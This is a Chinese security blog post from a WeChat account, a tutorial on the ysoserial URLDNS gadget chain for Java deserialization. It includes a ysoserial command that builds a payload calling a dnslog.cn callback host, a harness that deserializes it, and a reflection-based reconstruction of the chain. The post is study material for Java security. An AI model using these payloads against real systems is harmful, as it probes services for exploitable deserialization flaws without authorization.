点击蓝字 · 关注我们
稍微了解了java的反射机制以及一些序列化链经常需要使用的知识后,开始正式的学习yso的POP链。
https://github.com/frohoff/ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://elr36h.dnslog.cn" > urldnst.txt
package vulhub;
import org.omg.Messaging.SYNC_WITH_TRANSPORT;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class urldnsTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));
Object o1 = objectInputStream.readObject();
System.out.println(o1);
}
}
先跟进HashMap类看看
我们可以看到该类继承了Serializable序列化/反序列化接口,那直接搜readObject
可以看到接受的参数类型。
跟着那个链往下找,我们可以看到对传入的参数值进行反序列化并且赋值给key和value,再将key、value带入putVal方法。其中还用hash方法处理key
跟进hash方法。如果key是null的话,返回0,否则调用hashCode()进行处理并进行偏移和亦或操作。
之前到这里我就有点蒙了,再往下跳的时候,直接到了Object.java,并无其他调用了。怎么发出dns请求呢?
仔细看上面的POP链,发现最后会调用到URL.hashCode()
我们回到URLDNS.java往下审计
可以发现实例化了一个URL类,并跟进put方法,我们可以看到实例化后的URL类是作为key 参数传入put方法。
传入的key是实例化的URL类,所以调用的会是URL下的hashCode方法。
进URL类下的搜索hashCode方法,可以看到只要hashCode参数不等于-1会调用URLStreamHandler下的hashCode
进URLStreamHandler下,搜索hashCode方法,看到以下方法的调用,每个方法都跟一下。
跟进getHostAddress,可以看到会发dns请求
package vulhub;
import org.omg.Messaging.SYNC_WITH_TRANSPORT;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class urldnsTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));
// Object o1 = objectInputStream.readObject();
// System.out.println(o1);
URLStreamHandler handler = new URLStreamHandler() {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
HashMap hm = new HashMap();
String url = "http://nmli1e.dnslog.cn";
URL u = new URL(null, url, handler);
Class clazz = u.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
hm.put(u, url);
}
}
yso原作者的Payload也是差不多的思路
但是多写了一个静态类,其中重写了getHostAddress方法,返回null了,所以你直接调用该payload方法的话,是不会发送dns请求的。
https://www.anquanke.com/post/id/201762#h3-6
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
本文始发于微信公众号(EDI安全):【内部投稿】java安全-URLDNS学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论